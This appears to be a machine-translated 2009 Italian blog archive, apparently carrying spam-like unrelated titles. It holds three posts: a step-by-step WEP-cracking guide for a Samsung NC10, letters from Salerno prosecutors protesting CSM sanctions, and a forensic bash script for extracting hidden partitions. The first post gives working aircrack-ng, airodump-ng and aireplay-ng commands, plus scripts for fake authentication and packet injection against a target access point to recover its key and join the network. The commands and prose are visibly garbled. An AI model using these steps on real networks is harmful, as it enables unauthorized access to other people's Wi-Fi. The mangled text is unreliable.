Saturday, January 24, 2009

Does Tissues Come Out With Implantation Bleeding

Samsung NC10 - Wep Cracking


I state that this item

for educational purposes only, that said we can start talking about how to prepare our


Samsung NC 10 Netbook

for wep cracking.

Step one (Linux onboard):


Install Linux

Ubuntu or Kubuntu on a free partition or by

Wubi, the latter system, lets you install Linux directly from Windows, thus avoiding all the problems of partitioning and once installed, reboot the computer, you have the two choices Windows and Linux.

: - D
Second step (install the MadWifi driver):
I boot Linux. We install wireless drivers for Linux:

madwifi and madwifi-tools (sudo apt-get install madwifi-tools), but you can disable the restricted driver that recognize card but do not allow it to function: System> Administration> Hardware Drivers and click Mute button bottom right, and then restart the system. After this, download the latest madwifi driver

from here and extract it to your Desktop, open a terminal and type: sudo apt-get install build-essential
, which is the package containing the software needed to compile the driver , and always from the terminal, it will compile the driver of
cd Desktop / madwifi-hal *
(if we have the drivers unzipped on the Desktop) sudo make sudo make install sudo modprobe ath_pci
To ensure that the drivers are loaded automatically at startup.
sudo gedit / etc / modules
or sudo kate / etc / modules
and bottom of the file, add: ath_pci


save and restart. the next reboot, the wireless card should be visible and configurable by clicking the Network Manager icon in the tray, or, I recommend using Wicd Networtk and Uninstall Manager.
(Personal note: After all these steps, I also restored the restricted driver and everything works)
Third Step (we arm the system):
Download the aircrack-ng suite
to Install Packages or terminal windows type:
sudo apt-get install aircrack-ng

After this we type in the terminal window the command: iwconfig


we should see something like (I have obscured my references with the X):


wifi0 no wireless extensions.

ath0 IEEE 802.11g ESSID: "XXXXXX" Nickname: "" Mode: Managed Frequency: 2,437 GHz Access Point: XX: XX: XX: XX: XX: XX Bit Rate: 24 Mb / s Tx-Power: 18 dBm Sensitivity = 1 / 1
Retry: off RTS thr: off Fragment thr: off Power Management: off Link Quality = 32/70
Signal level =- 61 dBm Noise level =- 93 dBm Rx invalid
NWID: 780 Rx invalid crypt: 0 Rx invalid frag: 0 Tx excessive
retries: 0 Invalid misc: 0 Missed beacon: 0
Now we have to put our wireless card (ath0
) in "
Monitor mode", then type: sudo

airmon-ng stop ath0 sudo airmon-ng start wifi0 then



iwconfig wifi0 no wireless extensions.

ath0 IEEE 802.11g ESSID: "" Nickname: ""
Mode: Monitor


Frequency: 2,437 GHz Access Point:

Bit Rate: 24 Mb / s Tx-Power: 18 dBm Sensitivity = 1 / 1 Retry: off RTS thr: off Fragment thr: off
Power Management: off Link Quality = 32/70
Signal level =- 61 dBm Noise level =- 93 dBm Rx invalid
NWID: 780 Rx invalid crypt: 0 Rx invalid frag: 0 Tx excessive
retries: 0 Invalid misc: 0 Missed beacon: 0



At this point we have to detect the available networks: write
:


sudo airodump-ng ath0 and we will have an output like this:

CH 11] [BAT: 34 mins] [Elapsed: 8 s] [24/01/2009 24:32 BSSID PWR
Beacons # Data, # / s CH MB ENC CIPHER AUTH ESSID

00: XX: 2E: XX: XX: A8 8 4 2 0 11 54. WEP WEP Pippo
00: E4: AA: 73:68: XX 28 27 0 0 6 54. WPA TKIP PSK BSSID STATION PWR
Rate Lost Packets Probes

from which we understand that there a wireless network protected by WEP, MAC Adddress on channel 11: 00: XX: 2E: XX: XX: A8 ESSID: Pippo

now we can start the attack, 4 Terminal windows open in the first write
: sudo airodump-ng-w Atho pacchetti_pippo - bssid 00: XX: 2E: XX: XX: A8-11 c


But let's step back, before running airodump-ng, we have to write a couple of bash scripts:


primo.sh
# / bin / bash /
# this script is used to authenticate to the AP (Access Point) to attack
# echo "Writing my mac:" read mio_mac

# echo "Writing 's set interface in monitor mode, "read the

# here Put the card in your Mac # discover it with iwconfig
mio_mac = "00:00:00:00:00:00"
echo "write the MAC ADDRESS API to attack"
read mac_ap
echo "write 's essid WLAN to attack, "read
SSID_wlan aireplay-ng -1 0-e-a $ $ SSID_wlan mac_ap-h $ i $ mio_mac


Here the data will be the MAC and the name of Pippo Pippo (essid).


Launch primo.sh with: sudo sh


primo.sh


Then write secondo.sh:
# / bin / bash /
# here put the card in your Mac #
discover it with iwconfig
mio_mac = "00:00:00:00:00:00"
echo "Writing the interface set in monitor mode," read the
echo "Writing the AP ESSID:"
read and
echo "enter the MAC ADDRESS BEES"
read mac_ap
aireplay-ng -3-and $ and $ mac_ap-b-h $ i $ mio_mac



launch secondo.sh with: sudo sh



secondo.sh


This script is used to inject (packet injection), the packets on the AP and in order to generate traffic and can capture many packets, to feed the last weapon:
aircrack-ng terminal window


last write:


sudo aircrack-ng-z-b mac_di_pippo pacchetti_pippo *. cap
but just enough:
sudo aircrack-ng-z *. cap pacchetti_pippo


let him work .... after a tot. time, from 3 to 10 minutes, depending on signal strength, you will get a key found in hexadecimal:


KEY FOUND! [XX: D1: F2: 67:4 D: 18:6 B: XX: XX: XX: 1X: XX: XX]
Decrypted Correctly: 100%


At this point we have the password in hex, we can already use it , added to our network operator, in both Windows and Linux, and not the WEP Hex Key WEP Key Passphrase.
However, if you ever want to see if the event is a key human-readable we can try to write this: echo


key_trovata xxd-r-p


now remains the last problem, how to find your subnet and gateway of the AP Goofy?

launch

Wireshark, which you previously downloaded and installed, then open the packages pippo_pacchetti.cap (from File-> Open)
go to Edit -> Preferences-> Protocols mixture
the IEEE 802.11 and entered in field key1 we could find the key, then one and finally a
Apply


OK. At this point we will see paccchetti clear, even with the cut and thrust of the gateway with our computers, from here you can go back to the AP that belongs to subnet attached and what is the gateway.
For DNS, just use the OpenDNS
and you're done!
Clearly, wireshark, it may not be used if the AP has DHCP enabled, then automatically assigns IP address, Gateway and DNS.

finally type: sudo rmmod ath_pci



sudo modprobe ath_pci and



in order to restore our wireless card to surf.

course, you can expand the discussion of aireplay attacks, forging of the MAC of your card, use of Kismet ... but this is up to you;)




Nanni Bassetti



Thursday, January 22, 2009

Russian Tortoise Columbus Oh

The full text of the letter of the prosecutors of the TNT Salerno



















From: http://toghe.blogspot.com/2009/01/il-testo-integrale-della-lettera-dei.html

Here is the letter by which the magistrates of Salerno express their dismay at all the garbage executive adopted by the CSM on cue Minister Alfano ..... Poor Italy.!


the junta Sectional ANM
Salerno

The Steering Central ANM
Rome



The news of the decisions of the Disciplinary Committee of the CSM On January 19, 2009, against the Public Prosecutor of Salerno, Luigi Apicella, and Deputy Attorney Denis Verasani and Gabriella Nuzzi, aroused bewilderment and concern among judges employed by the Public Prosecutor of Salerno.

The severity and urgency of the sanctions taken protective measures against these gentlemen has shocked not only the organization of the Public Prosecutor of Salerno, but also our conscience, considering that we could appreciate the unquestionable professionalism, commitment, honesty and fairness them during the long periods of joint work.

Contrary to what the president ANM aftermath of those decisions, we can not really support with equal conviction that in this case "the system" has demonstrated to have adequate "antibodies" , because the same measures of search and seizure evaluated negatively in disciplinary received, however, a different opinion in an appeal by the competent Court which confirmed its legitimacy.

those circumstances we wonder and ask, not only in the quality of the magistrates of the Public Prosecutor of Salerno, but also of Italian citizens, what are the current limits of the autonomy and independence of the judiciary, are assessed if a judicial so differently in locations deputies and disciplinary proceedings to the extent to anticipate being so protective sanctions serious, especially the suspension from duties of Magistrate Dr. Apicella, who certainly did not many precedents in the history of similar disciplinary section of the CSM.

We can not but express our concern, therefore, not only for the future of this prosecutor, but the entire judiciary and, therefore, demand that we ask is that as soon convened a meeting to confront urgent and extraordinary and clarify all together on current and future content of the autonomy and independence of the Italian judiciary.

Salerno, January 20, 2009

public prosecutors of Republic of Salerno

Henry D'Auria
Erminio Rinaldi
Umberto Zampoli
Antonio Centore
Luigi D'Alessio
Rosa Maurizio Volpe
Cardea
Vallevardina Cassaniello
Mariella De Masellis
Angelo Frattini
Sunday
Patricia Gambardella Gambardella
Vincenzo Montemurro
Rocco Alfano
Roberto Penna
Maria Carmela Polito
Vincenzo Senatore
Carmen Oliveri
Maria Chiara Minerva
Cristina Giusti
Ernesto Sassano
Elena Cosentino
Marinella Guglielmotti
Anthony Cantarella
Regina Elephant

Advertising Ideas For Starting A New Business

Yesterday, today the official documents (and makeup)


carried an article by Carlo Vulpio directly from his blog. I do not need to comment further. My respect and my moral support to Dr. Nuzzi go without hesitation to Dr. Apicella and Dr. Verasani, never give up, even in the darkest moments there is always a ray of light that illuminates the road. This scheme beam is not worthy of the darkest it will be our grave, the tomb of freedom, justice and legality, but they will, they will succumb under the weight of their lies of their abuses of their misdeeds. Keep blow, let go .. NEVER!

text of the article by Charles Vulpio:

's all clear, but so clear, that does not even explain. The CSM sends off Salerno prosecutors Luigi Apicella, Gabriella Nuzzi and Verasani Dionysius as "guilty" of having complied with the law, as confirmed by three judges of a court of review the Italian Republic.

It 's like to affirm the principle that those who have not killed or stolen must go to jail, even in the presence of the court order stating that that person has not stolen and not killed.

's all clear, but so clear, that does not even explain. The three judges of Salerno have been sent away from the CSM - Apicella and the prosecutor was even suspended from the salary, as it has never been decided even before obvious cases of corruption - because they have done their duty.

A minister, the justice, Angelino Alfano , Has arrogated to itself a power that has not, judging "abnormal" and "lacks balance" the provision of search and seizure orders issued by judges against judges under investigation Salerno of Catanzaro, and the CSM said: "I obey." A is worth nothing that the court of review has considered this provision of law-abiding judges Salerno. The CSM has performed el'Anm approved. As the head of state Giorgio Napolitano , who is also chairman of the CSM does not say a word. But it goes in Calabria, where a few days ago, does not fail to urge the people who had believed for a moment that we were all equal before the law, to "respond against organized crime ", with its corollary of unbearable blablabla.

's all clear, but so clear, that does not even explain. This other black page proves, if proof were needed, not only that there are instigators and perpetrators, but also who is one and who are the others.

There is no clash between politics and the judiciary. Instead, they are allies in the work of elimination - with dynamite yesterday and today with the official documents, and rigged - judges who do their duty, and especially of those judges who do their duty towards other judges, thus breaking a conspiratorial corporatism now beyond the threshold of tolerability.

The test, if this were needed, is in two simple facts. The remarks of the President ANM, Luca Palamara - that was when the prosecutor in Reggio Calabria has been the focus of fierce controversy on certain procedures covered up - and the "purge" of the news from newspapers and TV work in unison.

Palamara said that "the system has failed to respond, showing that you have the antibodies necessary" (right: the system, that to which he belongs), while no news report has dared to remember that the decision of the judges of Salerno for requesting transfer of the same was found to comply with law by the Court of Review.

's all clear, but so clear, you do not need to waste words but action. What happened blew up, once again, even more, the basic tenets of any compact between the governed and governors.

This decision of the CSM pm on Salerno is proof that you can do everything. Even in our fall and your homes, for example, and arrest, arrested, in the name of the law and in the name of the Italian people. Then, democratically and peacefully, we must act. All bloggers, all web sites, known and unknown, all the associations and all people of good will, known and less known, who are outside but also within parties should organize themselves and make their voices heard.

If Italy is not capable of this minimal gesture of rebellion democratic, then it means that Italy is a country already dead and does not know.


http://www.carlovulpio.it/Lists/PRIMO% 20PIANO/DispForm.aspx? ID = 14 & Source = http% 3A% 2F% 2Fwww.carlovulpio.it% 2fdefault.aspx

Ideas For Decorating Cheesecake

Farewell all'Anm of Pm Salerno Gabriella Nuzzi, transferred from the CSM


















reported from the site: http://voglioscendere.ilcannocchiale.it/

Let us turn this SAD AND DRAMATIC TESTIMONY, EVIDENCE AND EVIDENCE OF THE DEATH OF THE DEMOCRATIC REPUBLIC now defunct.

This is the letter that Gabriella Nuzzi - prosecutor in Salerno, transferred from his office at the request of the minister by the CSM Alfano for daring to investigate the legal brothels of Catanzaro that had already been expelled as a foreign body Luigi De Magistris - sent to the President of the National Association of Magistrates, Luca Palamara, announcing his resignation by the union of the gowns, which has sided with the minister and the CSM. It 'a document that speaks for itself, its painful honesty and for his dramatic representation of night that envelops our democracy .
mt

the National Association of Magistrates - Rome

"Mr. President,
I communicate with my, the irrevocable decision to leave the National Association of Magistrates.
acclaim you have made publicly by the injustice suffered at the hands politics We Magistrates of the Public Prosecutor of Salerno is intolerably offensive to me.
offensive to my dignity as a person and to be Magistrate.
I was, in general cowardly silence, publicly insulted, blamed ignorance, negligence, recklessness, lack of sense of institution, and finally moved away from my home and functions of private investigators, so, in the blink of an eye, based on nothing legal and summary trials.

For his mouth and his friends and colleagues, the position of the Association was already known from the beginning.

What to blame? Have, contrary to the profuse appearance, duly adopted and executed judicial, legal and necessary, those deemed competent judicial fora.
Having responded to instances of truth and justice. Having found a disturbing reality, however, had to remain concealed.

Neither she nor any of the members of the association that represents worthily today has felt the need to understand and explain what really happened, the seriousness and drama of a story that calls for deep reflection the entire Judiciary, on its past, what is its future, and certainly not in the interests of individual staff or its sponsors associations, but by virtue of a higher ideal reason, which is - or should be - constantly and perpetually alive in the conscience of every magistrate: the search for truth.

easier to pretend to believe a lie: the conflict, the war between prosecutors, the isolation of madness "loose cannon". The scandal raises
disorder: is sedated immediately and severely punished.
The people will know that this is right.
It will be worth the sacrifice of a few reasons of state.

The Association does not intend to treat. Closed.

In these days of pain, Mr President, my thoughts turn to the solemn words that you (as reported by the press) would have been publicly uttered a few Moments later the original "conviction" means "The system has demonstrated that antibodies.

Thus, the system, once again, has proven to work.

I wonder, then, restless as a "system" you refer to.
What the "system" that feels so proud representative and guarantor.

A "system" that is not capable of ensuring the observance of minimum rules of civilized life, the application and enforcement of sentences?
A "system" in which the statement is given in vain judicial review of the fundamental rights of human beings; instances where the weak are oppressed and trampled the pain of those victims still crying for blood?
A "system" in which the commitment and sacrifice of silent individual is crushed under the weight of an infernal machine, the gears become antiquated and hopelessly jammed?
A "system" subservient to the interests of power, which is cheaper to lock up the truth in dusty drawers and continue to dot the brilliant career success?

Tell me, Mr. President, what would be the antibodies that it is able to generate? Exemplary punishment to those who are loyal and brave and impunity for those who blatantly breaks the law? And what

viruses?

And explain to me again, what would be "the model suitable for a constitutional role of judges and the importance of the interests involved the exercise of jurisdiction" that the Association intends to promote?

Now, the "system" that I see is not in a position to be able to work.
the contrary, it is sick, dying, suffering from incurable cancer, which will lead inexorably to death.
And I do not want to be part of it, because I am alive and I want to build something good for our children.
I swore allegiance to the only court order and the rule of the Italian Republic. The sudden violence

which, in response to a political rating, it was summarily decided the deprivation of the investigative functions and removal of investigations under way against magistrates who have only fulfilled his duties, makes, frankly, very disturbing your tired and empty proclamations, now spoken only to yourself, as in a mirror split.

While you're distracted by the sight of some captivating mirage, a whistle and I tell you that the principles at stake here is the autonomy and independence of the Jurisdiction. Not the private garden plots.

not worth the trouble never step on and let it trample the dignity of human beings.

For me, I know that I'll meet with the same strength, honesty and professionalism functions other than that I have been unjustly torn, with absolute respect, as always, constitutional principles, primary among them is that the law should be the same for weak and powerful .
I know I have strong and well next to the consciences of those who still, despite everything, believes in and fights every day for the affirmation of legality.
And that is that it will always continue to love and honor this profound work.

Mr. President, continues to represent himself and this Association.
I prefer to represent me alone. "

Dr. Gabriella Nuzzo
Magistrate

Saturday, January 10, 2009

How To Defrost Kitchenaid Freezer

MultiFS Detector and Extractor

From year proposed by Mario Pascucci (
HERE), I got the inspiration to write this scriptino, which does nothing but seek, through sigfind, the 55AA signature FATX and NTFS partitions, and then from the offset, obtained by multiplying the number of sectors, found by sigfind, for 512 bytes, find the value of the bytes of FATX 32,33,34,35 or 40 to 48 for NTFS, and converts them to find Big Endian and then calculating the total length of the partition in sectors.
Then, create dd image containing all the possible hidden partitions. Surely it is



crude, but fast enough, su 2Gb di pen-drive con tre strati, ci ha messo poco più di 20 minuti.

Attualmente funziona su Fat12,Fat16,Fat32,NTFS,Ext2/3


#!/bin/bash

# MultiFS detector and extractor by Nanni Bassetti - Blog:

http://www.nannibassetti.com/dblog
WEB Site:

http://www.nannibassetti.com


# It can detect and extract hidden file systems and partitions from the mass memory support.

# It runs in this way e.g.: sh multifs.sh fat disk.dd or multifs.sh fat /dev/sda # It works only on ntfs,fat12,fat16,fat32, ext2,ext3. # Important things:
# FATx: sector size; bytes 11-12
# ext2/3: Block size (saved as the number of places to shift 1,024 to the left); bytes 24-27
# NTFS: sector size bytes; from 11 to 12

# ReiserFs: sector size bytes; 12-13 file=$2 # file or dev

fs=$1 # file system date # looking for the signatures
sigfind -t $fs $file > sigs.txt

# FAT case
if [ "$fs" = "fat" ]

then # taking only the sectors for i in $(cat sigs.txt awk -F "Block:" '{print $2}'awk '{print $1}')

do
offset=$(( $i*512 ))

j=$(( j+1 ))

# controlling the word "FAT" inside the target partition
fat_flag=$(xxd -s $offset -l 512 $file grep -i FAT)

if [ "$fat_flag" ]

then
# looking for the sector size

start_bs=$(echo $offset + 11 bc)
xxd -s $start_bs -l 2 $file awk -F ":" '{print $2}' xxd -p -r >bs.bin #converting in big endian dd if=bs.bin of=b1 skip=1 count=1 bs=1c dd if=bs.bin of=b2 skip=0 count=1 bs=1c cat b1 b2 > bs.dat
rm b1
rm b2
rm bs.bin
#calculating the sector size length
lenbs=$(cat bs.datxxd -p tr [:lower:] [:upper:])
# converting in decimal
bs=$(echo "obase=10; ibase=16; $lenbs" bc)

# check if byte 32-35 are 0 then the fat type is fat12
start_byte_fat_len=$(echo $offset + 32 bc)

check_fat12=$(xxd -s $start_byte_fat_len -l 4 $file awk -F ":" '{print $2}' xxd -p -r)
if [ ! "$check_fat12" ]
then
echo "File System chosen: FAT12"
start_byte_fat_len=$(echo $offset + 19 bc)
# extracting bytes 19-20 from FAT
xxd -s $start_byte_fat_len -l 2 $file awk -F ":" '{print $2}' xxd -p -r >lung.bin
#converting in big endian
dd if=lung.bin of=l1 skip=1 count=1 bs=1c
dd if=lung.bin of=l2 skip=0 count=1 bs=1c
cat l1 l2 > l.dat
rm l1
rm l2
rm lung.bin
#calculating the partition length
len=$(cat l.datxxd -p tr [:lower:] [:upper:])
# converting in decimal
len2=$(echo "obase=10; ibase=16; $len" bc)
dd if=$file of=hidden$j.dd skip=$i count=$len2 bs=$bs
rm l.dat
ls -l *.dd
else
echo "File System chosen: $fs"
echo "Sector size: "$bs
start_byte_fat_len=$(echo $offset + 32 bc)
# extracting bytes 32-35 from FAT
xxd -s $start_byte_fat_len -l 4 $file awk -F ":" '{print $2}' xxd -p -r >lung.bin
#converting in big endian
dd if=lung.bin of=l1 skip=3 count=1 bs=1c
dd if=lung.bin of=l2 skip=2 count=1 bs=1c
dd if=lung.bin of=l3 skip=1 count=1 bs=1c
dd if=lung.bin of=l4 skip=0 count=1 bs=1c
cat l1 l2 l3 l4 > l.dat
rm l1
rm l2
rm l3
rm l4
rm lung.bin
#calculating the partition length
len=$(cat l.datxxd -p tr [:lower:] [:upper:])
# converting in decimal
len2=$(echo "obase=10; ibase=16; $len" bc)
dd if=$file of=hidden$j.dd skip=$i count=$len2 bs=$bs
rm l.dat
ls -l *.dd
fi # end check FAT12
fi # end check if there is the FAT word
done
echo "File System chosen: $fs"
echo "Sector size: "$bs
fi # end check if fs is FAT type


# NTFS CASE
if [ "$fs" = "ntfs" ]
then


# taking only the sectors
for i in $(cat sigs.txt awk -F "Block:" '{print $2}'awk '{print $1}')
do
offset=$(( $i*512 ))
j=$(( j+1 ))


# controlling the word "NTFS" inside the target partition
fat_flag=$(xxd -s $offset -l 512 $file grep -i ntfs)
if [ "$fat_flag" ]
then
# looking for the sector size
start_bs=$(echo $offset + 11 bc)
xxd -s $start_bs -l 2 $file awk -F ":" '{print $2}' xxd -p -r >bs.bin
#converting in big endian
dd if=bs.bin of=b1 skip=1 count=1 bs=1c
dd if=bs.bin of=b2 skip=0 count=1 bs=1c
cat b1 b2 > bs.dat
rm b1
rm b2
rm bs.bin
#calculating the sector size length
lenbs=$(cat bs.datxxd -p tr [:lower:] [:upper:])
# converting in decimal
bs=$(echo "obase=10; ibase=16; $lenbs" bc)
echo "File System chosen: $fs"
echo "Sector size: "$bs

# extracting bytes 40-47 from the NTFS boot sector
start_byte_fat_len=$(echo $offset + 40 bc)

xxd -s $start_byte_fat_len -l 8 $file awk -F ":" '{print $2}' xxd -p -r >lung.bin
#converting in big endian
dd if=lung.bin of=l1 skip=7 count=1 bs=1c

dd if=lung.bin of=l2 skip=6 count=1 bs=1c
dd if=lung.bin of=l3 skip=5 count=1 bs=1c

dd if=lung.bin of=l4 skip=4 count=1 bs=1c
dd if=lung.bin of=l5 skip=3 count=1 bs=1c
dd if=lung.bin of=l6 skip=2 count=1 bs=1c
dd if=lung.bin of=l7 skip=1 count=1 bs=1c
dd if=lung.bin of=l8 skip=0 count=1 bs=1c

cat l1 l2 l3 l4 l5 l6 l7 l8> l.dat
rm l1

rm l2
rm l3
rm l4
rm l5
rm l6
rm l7
rm l8
rm lung.bin
#calculating the partition length
len=$(cat l.datxxd -p tr [:lower:] [:upper:])
# converting in decimal
len2=$(echo "obase=10; ibase=16; $len" bc)
dd if=$file of=hidden$j.dd skip=$i count=$len2 bs=$bs
rm l.dat
fi
done
ls -l *.dd
echo "File System chosen: $fs"
echo "Sector size: "$bs
fi


# ext2/3 case (please test it!)
if [ "$fs" = "ext2" ] [ "$fs" = "ext3" ]
then
# taking only the sectors
for i in $(cat sigs.txt awk -F "Block:" '{print $2}'awk '{print $1}')
do
offset=$(( $i*512 ))
j=$(( j+1 ))


# looking for the blocks size
start_bs=$(echo $offset + 24 bc)
xxd -s $start_bs -l 4 $file awk -F ":" '{print $2}' xxd -p -r >bs.bin
#converting in big endian
dd if=bs.bin of=b1 skip=3 count=1 bs=1c
dd if=bs.bin of=b2 skip=2 count=1 bs=1c
dd if=bs.bin of=b3 skip=1 count=1 bs=1c
dd if=bs.bin of=b4 skip=0 count=1 bs=1c
cat b1 b2 b3 b4 > bs.dat
rm b1
rm b2
rm b3
rm b4
rm bs.bin
#calculating the sector size length
lenbs=$(cat bs.datxxd -p tr [:lower:] [:upper:])
# converting in decimal
lenbs2=$(echo "obase=10; ibase=16; $lenbs" bc)
#Block size (saved as the number of places to shift 1,024 to the left)
# "<<" is the left shift bitwise operator
bs=$[ "1024 << $lenbs2" ]
echo "File System chosen: $fs"

echo "Sector size: "$bs
echo $start_byte_fat_len

# extracting bytes 4-7 from the EXT Superblock
start_byte_fat_len=$(echo $offset + 4 bc)
xxd -s $start_byte_fat_len -l 4 $file awk -F ":" '{print $2}' xxd -p -r >lung.bin
#converting in big endian
dd if=lung.bin of=l1 skip=3 count=1 bs=1c
dd if=lung.bin of=l2 skip=2 count=1 bs=1c
dd if=lung.bin of=l3 skip=1 count=1 bs=1c
dd if=lung.bin of=l4 skip=0 count=1 bs=1c


cat l1 l2 l3 l4 > l.dat
rm l1
rm l2
rm l3
rm l4
rm lung.bin
#calculating the partition length
len=$(cat l.datxxd -p tr [:lower:] [:upper:])
# converting in decimal
len2=$(echo "obase=10; ibase=16; $len" bc)
# $(($i-2)) because it starts 2 sectors before the signature
dd if=$file of=hidden$j.dd skip=$(($i-2)) count=$len2 bs=$bs
rm l.dat
rm bs.dat
done
ls -l *.dd
echo "File System chosen: $fs"
echo "Sector size: "$bs
fi


date
exit







Click here to DOWNLOAD